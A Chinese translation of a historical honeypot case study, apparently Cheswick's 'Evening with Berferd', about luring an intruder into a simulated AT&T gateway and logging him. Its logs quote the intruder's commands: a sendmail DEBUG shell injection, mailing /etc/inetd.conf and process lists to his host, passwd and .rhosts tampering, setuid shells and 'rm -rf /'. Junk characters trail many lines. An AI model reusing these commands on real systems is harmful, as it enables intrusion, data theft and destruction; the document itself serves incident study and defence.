在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。) B+ v1 V* ~; h* ?( S
在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录
% \9 }0 M% L/ P- C9 a* J5 \我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。! l1 v4 o/ g i$ `
简介
5 {/ i3 w- k- q7 i! B我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?9 y& x4 [/ v9 q# `
事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。7 x. j; n1 N7 ?3 v& r
大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?1 p' }9 h5 [ x4 K- U- A# M5 O: G
我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:
# a, |3 V; d" J. W$ n# sFTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”
- J. U/ L* C- gTelnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。
! g- t0 j/ r$ ?: F: s# U7 bGuest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:
! x. i9 S' Z. \( e1 zexec 2>/dev/null # ensure that stderr doesn't appear
" ?; L# z# R6 a/ y) a4 z: }# Ntrap "" 1
2 y" u8 j5 W0 n! O/ i/bin/echo
U. d# |5 ~1 e( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
, G( A" P( @" }7 M& `, R, Tupasname=adm /bin/mail ches dangelo &
. a* w" h6 w5 L* w4 J" w) U5 `) S' l# (notify calling machine's administrator for some machines...), ^% Z4 V0 A9 Y
# (finger the calling machine...)* k% b( U2 R& a: m3 m. w' E) T
) 2>&1 | mail ches dangelo
8 p @4 L* L% l6 e& d- J/bin/echo "/tmp full"" `! w" _. f) G# b, c
sleep 5 # I love to make them wait....8 j' [1 F2 }3 ?# {8 `
/bin/echo "/tmp full"
% |* |+ l! d8 u8 [. S" I$ x z: ~/bin/echo "/tmp full"; l- C# r" w E8 S
/bin/echo2 @8 _7 F0 ^5 K3 K$ d2 M4 n6 P; n, N
sleep 60 # ... and simulating a busy machine is useful
1 r" j' E; |" b0 }) L% S$ y& L6 L我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。* N* {& M: a6 [3 N* X' }
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
5 |4 j7 ? i6 r- Y6 ]3 [Finger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。
- N) M4 R& B* [9 n: HRlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。
7 B& G, l2 a) C* E# {$ q/ N上述很多探测器都使用figner命令来查明调用的机器和使用者。
. E2 A" H: W1 A% I8 B8 D8 }当一个尝试显示为有不合法企图时,我就发出这样一条消息:' I6 T6 V8 W) H: |
inetfans postmaster@sdsu.edu, q" w. @) I& L: g. [9 l7 E5 o
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file0 ? t) Z7 J3 x$ Y- z6 v, n. _
from our FTP directory. The file is not important, but these probes
' R# l& j, P D' s5 oare sometimes performed from stolen accounts.
0 o) v- x T6 v" A7 xJust thought you'd like to know.8 M4 [, M& }" s/ b; t! h
Bill Cheswick9 P9 E: X. _, p
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。
0 {+ G% E S: A- o$ o很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。( @! e6 K& w( O. P3 }
不友好的行动7 A; g" |) _" C8 M9 A n
我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。, ^9 f4 \& M+ }& _- B$ X7 t
当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。! P3 V9 Z* F0 R$ L% U
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP7 \9 p! j; e2 p3 h8 i9 A
19:43:14 smtpd[27466]: -------> debug5 o& X* z& O$ h" S/ x1 {! ^
19:43:14 smtpd[27466]: DEBUG attempt
% C/ `$ j# D2 k' s# l! K9 v19:43:14 smtpd[27466]: <--- 200 OK
2 [8 b- b+ V2 J: b% }# @1 B19:43:25 smtpd[27466]: -------> mail from:. h/ O, f; {0 w3 u% y5 Z1 w
19:43:25 smtpd[27466]: <--- 503 Expecting HELO3 y l) P! Z0 G3 O
19:43:34 smtpd[27466]: -------> helo
5 ], C8 i/ r7 f1 o' R' Q19:43:34 smtpd[27466]: HELO from
) F3 N8 ?- X/ I: y d0 `# O) v19:43:34 smtpd[27466]: <--- 250 inet.att.com
+ @4 R. ]; k# |/ _) a$ u/ z19:43:42 smtpd[27466]: -------> mail from: 8 s" D1 M ]$ C* i
19:43:42 smtpd[27466]: <--- 250 OK
0 } A- C% g+ \8 e% V2 ~' e9 b19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
4 R" _2 w8 @7 T; i19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">4 Z& m# u' T/ O& d. F
19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
! A3 p! G# ?4 {$ e19:44:45 smtpd[27466]: <--- 250 OK ^1 Z6 D/ Q% N# }
19:44:48 smtpd[27466]: -------> data2 x# C l1 o4 V" N5 e
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .0 l1 V' M; K! v' |5 ~
19:45:04 smtpd[27466]: <--- 250 OK
* r) i" b- [- Y6 N/ S: W1 v19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
$ z q Q( n2 ^4 D0 [* Q19:45:08 smtpd[27466]: -------> quit
$ j- g$ [. a/ J4 k19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating$ L% ~8 H( X/ N
19:45:08 smtpd[27466]: finished.* u; s1 t" W* M7 P3 J u. T9 U
这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:$ \1 f9 ^" A; I% c8 W$ i* m; T
sed -e '1,/?$/'d | /bin/sh ; exit 0"2 Q3 U' \, @3 D/ Z
它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
9 s1 m2 T) W$ g) h/ X* O19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。. [) T2 q6 ^' Q0 c8 f3 T' q' Q
第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。
$ k2 c5 l- k; S+ t2 N9 j9 y& L1 e4 Y接着的一个星期天我接到了从法国发来的一封信:. `8 P1 R9 c; y
To: root@research.att.com* \, ~( C* V7 I P5 v
Subject: intruder
0 d I, K5 S4 iDate: Sun, 20 Jan 91 15:02:53 +0100
8 D2 h" m& h0 ]+ x& v# fI have just closed an account on my machine' g4 V/ p3 a9 R+ y7 }0 M
which has been broken by an intruder coming from embezzle.stanford.edu. He/ h& {2 s( s+ @
(she) has left a file called passwd. The contents are:' W& y# k! ?3 Q7 G
------------>3 R3 a5 t, J# c. X0 w* `
From root@research.att.com Tue Jan 15 18:49:13 1991- o8 }$ B5 b% c
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);! i8 K+ D6 F& l3 i1 r
Tue, 15 Jan 91 18:49:12 -0800
" M' d$ x l' l$ }( p4 o; ~Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
: h( w7 i; U/ n0 q" hFrom: root@research.att.com2 ~+ C2 Y I; l0 S7 P2 ?
Date: Tue, 15 Jan 91 21:48 EST! g- o# U( d0 Q
To: adrian@embezzle.stanford.edu; N0 X5 P& D1 v% M# i2 J
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
2 [2 d+ c( k3 MDaemon: *:1:1:0000-Admin(0000):/:
# h! s1 c6 B( R( _Bin: *:2:2:0000-Admin(0000):/bin:! D; l5 c* R; b1 |
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
8 _. ?! \$ N. u1 d: WAdm: *:4:4:0000-Admin(0000):/usr/adm:' {3 t& ~/ _5 Y4 Y0 }1 o" O: C8 W
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
+ ^( G# _! n* w0 w: A: C6 rNuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico, _; i4 s& y. U( O* M) Y
Ftp: anonymous:71:14:file transfer:/:no soap4 k1 ~5 @/ y$ F/ ]2 T2 Y$ |
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh4 X1 t- E& K* d2 v/ s
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
b, C& K# Z9 Q, h% J# Y! j" h5 Q; W: FRtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh/ [. d! v ~ u. W. K* N4 H k
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
: t( u1 N7 ]4 h* {$ A3 LTd: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh) A6 s3 X% k. `3 D3 Y9 Z* [
Status: R
+ l8 R7 [- [2 K4 Z, y8 C------------Please let me know if you heard of him.8 g" {1 |" ]+ i7 o9 N0 [
陪伴Berferd的一个夜晚
. F2 B( ]7 ?1 m2 B8 n1月20号,星期天晚上,我的终端报告有安全敏感事件。! Y2 _ e: h" q i4 o1 u
22:33 finger attempt on berferd
; {' E+ n: A2 q9 |' ~, _几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!8 Q$ [3 m0 E H- v' f
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd$ q5 D8 {+ |+ ]8 J
cp /bin/sh /tmp/shell
9 [3 M1 Y" ?2 y% n& Z- ichmod 4755 /tmp/shell! ]' \8 h7 M/ Z* x
连接同样来自EMBEZZLE.STANFORD.EDU。7 p7 g2 O" }" f
我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。% {- o/ g! p4 X3 W! C& j2 e( J
我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。4 b/ i& H2 N% u. c/ Z( C. a, X( o
我已经有一个要求了,因为他已经持有了一份passwd。
. i1 b6 J% o$ \) l9 t5 B; R决定一:ftp的passwd是一个真实的passwd。* @0 ~% @( R2 @2 N
还有另外的两个:
4 ?" ?5 E& [! H0 o6 H决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。
" X6 |, X6 Z2 V# g决定三:网关机器极慢。3 |* T' }, v1 c* |
因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
' h a, Q+ O3 y' Z$ m' N决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。
T: Y0 ^# q w4 J) A, }这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:# U- o9 G4 Z# v0 c0 g+ c. v
RISC/os (inet)
( ?' Z5 j( T" S' Ilogin: b
( D/ ~& J( m' h# Q/ ~/ n: ^* mRISC/os (UMIPS) 4.0 inet8 q$ U a. G6 E' e& J2 r) N
Copyright 1986, MIPS Computer Systems
0 }, s* _9 T6 q3 S3 A6 {& JAll Rights Reserved
0 {# g5 h$ c/ M8 _Shell not found M! J+ R5 X3 g" s+ I
我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:- L. D7 ]! ^$ m- z
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd: W, s: l! U' o& [* R
他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:
; h( ^6 J/ q; Y4 F- W' r% Z2 v: [, E22:45 talk adrian@embezzle.stand?Hford.edu8 | F' P; Z$ u
talk adrian@embezzle.stanford.edu8 e! h7 o* k4 y- d2 r8 `+ E
决定五:我们没有talk这个命令。' y, F, l1 D! [0 f l$ H
他选择了berferd这个帐号:: `7 j, {; _! r, j$ B5 }
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
* d; a* l; `" X4 K3 J" l22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
+ U1 [5 E2 W; w, j8 g% G+ Q22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
! p. T( T! x/ R" x8 k8 ^. N( G22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
1 z; }4 J5 Q+ N( Z2 y. G. k6 Z22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU9 f( u5 {, Q& v
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU9 K7 n8 H2 u/ C" n7 V1 S8 n# _
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
: w$ X. O+ z1 s0 B2 K4 I. q: q1 U/ M22:57 (Added bfrd to the real password file.)2 j/ o' U# E8 V# U4 N
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
8 d9 _/ y5 G6 J& x0 Y- d22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU4 p4 U9 L9 U( x- R+ z% J: U& E% `4 O
23:05 echo "36.92.0.205" >/dev/null
9 N( I, \! X& S- [* \9 Fecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H' I" j6 @+ g: Z7 s/ S; Y, @
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
+ g5 q; ?9 _* n2 Q3 S) G23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts- c- I( ?8 G* ]( c
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
1 L3 H8 Q& x% m) V1 x' {3 }很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。; D) }1 _5 d( H6 s1 U2 i& j; x
这时他又有新的动作:" ]4 S' X7 j* l& }5 C2 f
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU: f0 B& T; d* e# g5 D
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU# ~/ q" U! ?* @! ] f
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf* c6 e, w. j" E, y
ps -aux|mail adrian@embezzle.stanford.edu
: I, j! C1 A; L/ t在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。
% H; z3 q; U0 G# L" l( U决定七:网关机器运行不稳定,时有不确定事件。
1 B9 o$ t# t* V23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
& C* m# W$ M, l2 B% recho "embezzle.stanford.edu adrian" >> /tmp/.rhosts; Q+ b# [, q0 I* p+ i2 Z) e4 k% f% p1 ]
ps -aux|mail adrian@embezzle.stanford.edu
3 F& @, k: r- g4 l3 m6 \mail adrian@embezzle.stanford.edu < /etc/inetd.conf
& S. K$ v; C! ]. i% M2 A: ^我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。
+ T# ]$ M: d) p0 w; X; ~& E& [这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:
; G3 F) n; d2 n. |& S% X, FJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server% J$ H) @2 A. w
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
% ?* G* A5 l& D6 L- m7 Q+ _ `Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M% w5 K- q5 M4 h* e5 ~2 J% V
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.- O4 z3 ~+ q( |9 z) H
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M3 `; n# ]. G, i; Y
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.# Z6 h" }; G# \ C: `
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
3 g6 d" b6 t, qJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
4 V' y' g* F% q2 s2 y- ^; V pJan 20 23:37:24 inet ftpd[14437]: -------> HELP?M- S% C& P! \+ I7 a
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
. G" d0 ?& ]/ b, orecognized (* =>'s unimplemented).
9 T. x, N- T; T+ @, S8 p% JJan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
0 U1 K, {* c7 m; L3 D( m5 `Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M: f" d- `7 i# a, k o, Y& k c
Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
8 O! b0 ~6 c G7 r6 Z% lJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
, `/ ] W, k6 h5 S2 N8 q a/ QJan 20 23:37:31 inet inetd[116]: exit 14437. u8 Z# x" C6 x- T2 \/ y% q
Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 144540 w& Q5 n+ N4 a& X+ n5 b1 t: D
Jan 20 23:37:41 inet inetd[116]: exit 144543 A, M/ l) s# A- E3 j2 A# T
23:38 finger attempt on berferd/ d F& J6 }4 F( k
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
" r2 K1 ?% o! a' x23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b& l4 A' s, w3 ]
cp /bin/sh /usr/etc/fingerd- L4 }8 H1 B) F7 D( x( S, T- m& k
决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。
! C6 q$ d' O9 M8 g: y) L23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
! ?* u- K: R# D$ i( {3 a23:58 cp /bin/csh /usr/etc/fingerd
1 f0 X5 N* ~2 n0 L$ u) z5 f我们模拟的机器上csh并不在/bin下,因此这个命令无效。& M' _5 \6 Z0 o+ B$ G
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
; F4 A3 ]8 ]) T8 [, O" y- P好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。- k: y) F- M% R, F6 I9 T0 @5 x
00:14 passwd bfrt' _0 ?8 w" |9 C* E7 I
bfrt
, a6 r- H2 ]+ q; @4 v. V7 Zbfrt. `9 {' \+ Y+ Q; D0 X$ l
现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。
D2 P/ x. s$ n6 z00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
2 @& L) c$ A* q5 Z; [0 J; n00:17 echo "/bin/sh" > /tmp/Shell* F3 x3 [* }. \# f9 k
chmod 755 /tmp/shell
! n! e0 v2 t; W& a8 x/ `3 @chmod 755 /tmp/Shell
" |2 z/ S& V' C+ n7 T+ D% K; C" R+ }00:19 chmod 4755 /tmp/shell
# G' H v3 A6 m! r* K$ O00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU3 N! W' q% i% I; E! |
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
. g1 w) H3 n7 Z( x00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU/ |; P$ M6 L7 m# z# ]& P
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU" I* F$ C: ?( r, C
这时我已经很累了。
/ `0 [' e* O4 Y6 P% z01:55 rm -rf /&
4 M* O0 M/ o3 J$ o喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。
0 R& T* W& A; j" i他继续工作了几分钟,后来放弃:- g, p( h* f8 l# ? M' k* A
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU/ d3 N( Q% }5 b
07:14 rm -rf /&. k" ^4 Q& J0 f* P6 i. ~3 |7 k
07:17 finger attempt on berferd2 T) ~0 i( i( o* O
07:19 /bin/rm -rf /&9 V2 {; x7 ] z
/bin/rm -rf /&+ p7 R# v h! g( a+ Z
07:23 /bin/rm -rf /&
, ~$ o9 E5 |! G: A07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU$ _: Z* D, F0 z; X9 O
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
* q+ J- S& k( @7 W# H, n |